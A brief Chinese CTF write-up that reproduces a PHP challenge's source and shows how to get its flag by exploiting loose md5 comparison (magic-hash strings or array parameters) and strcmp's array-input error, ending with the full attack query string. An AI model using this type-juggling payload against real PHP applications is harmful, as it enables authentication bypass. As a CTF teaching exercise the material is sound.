前女友(SKCTF)

打开源代码，出现code.txt

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

• isset（）函数用于检测变量是否已设置并且非NULL.
• strcmp() 函数比较两个字符串.
  如果两个字符串相等，返回0
  如果 string1 小于 string2，返回<0
  如果 string1 大于 string2，返回>0

根据v2 && md5(v2)：

• 姿势1：v1,v2 找到两个开头为0的md5值，例如：v1=s878926199a&&v2=s155964671a
• 姿势2：根据md5函数特性，用两个值不同但不可md5的数据类型，例如：
  v1[]=1&&v2[]=2

根据 if(!strcmp(flag))
需要v3和flag值相同才返回flag的值。此处依旧利用函数特性，strcmp函数如果出错，其返回也是0，不可比较时出错，传入数组，例如：
v3[]=8.

综上，构造：
?v1=s878926199a&&v2=s155964671a&&v3[]=8
可得到flag